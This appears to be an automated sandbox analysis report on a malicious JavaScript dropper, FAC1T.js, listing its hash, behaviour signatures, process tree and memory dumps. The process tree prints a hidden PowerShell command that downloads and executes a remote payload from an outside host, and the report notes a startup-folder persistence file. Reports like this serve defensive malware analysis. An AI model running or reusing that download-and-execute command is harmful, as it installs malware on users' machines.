Analysis
- max time kernel
148s - max time network
146s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
03/09/2026, 18:27
General
- Target FAC1T.js
- Size 119KB
- Sample260903-w33cesdn9v
- SHA256 2e59f97473db1915abb38fd4c76d1eaec900e6b60dfa49486c4781f7caf242f5
Malware Config
Extracted
-
ps1
-
ps1.dropper
https://tuiskr.com/cjr1.jpg
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Creates a file in the Startup directory 1 TTPs 1 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\FAC1T.js1⤵
- Creates a file in the Startup directory
- Modifies registry class
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\meu_script_gerado.bat""1⤵
- Process spawned unexpected child process
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -ExecutionPolicy Bypass IEX (New-Object Net.WebClient).DownloadString('https://tuiskr.com/cjr1.jpg')2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
meu_script_gerado.bat
memory/4992-2-0x00007FFBB23AF000-0x00007FFBB23B0000-memory.dmp
memory/4992-5-0x00007FFBB2220000-0x00007FFBB2BC4000-memory.dmp
memory/4992-6-0x0000027D21C70000-0x0000027D21C92000-memory.dmp
memory/4992-7-0x00007FFBB2220000-0x00007FFBB2BC4000-memory.dmp
memory/4992-8-0x00007FFBB2220000-0x00007FFBB2BC4000-memory.dmp
memory/4992-9-0x00007FFBB2220000-0x00007FFBB2BC4000-memory.dmp
memory/4992-10-0x00007FFBB2220000-0x00007FFBB2BC4000-memory.dmp
memory/4992-11-0x00007FFBB2220000-0x00007FFBB2BC4000-memory.dmp
memory/4992-12-0x00007FFBB2220000-0x00007FFBB2BC4000-memory.dmp
memory/4992-13-0x00007FFBB2220000-0x00007FFBB2BC4000-memory.dmp
memory/4992-14-0x00007FFBB2220000-0x00007FFBB2BC4000-memory.dmp
memory/4992-15-0x00007FFBB2220000-0x00007FFBB2BC4000-memory.dmp
memory/4992-17-0x00007FFBB2220000-0x00007FFBB2BC4000-memory.dmp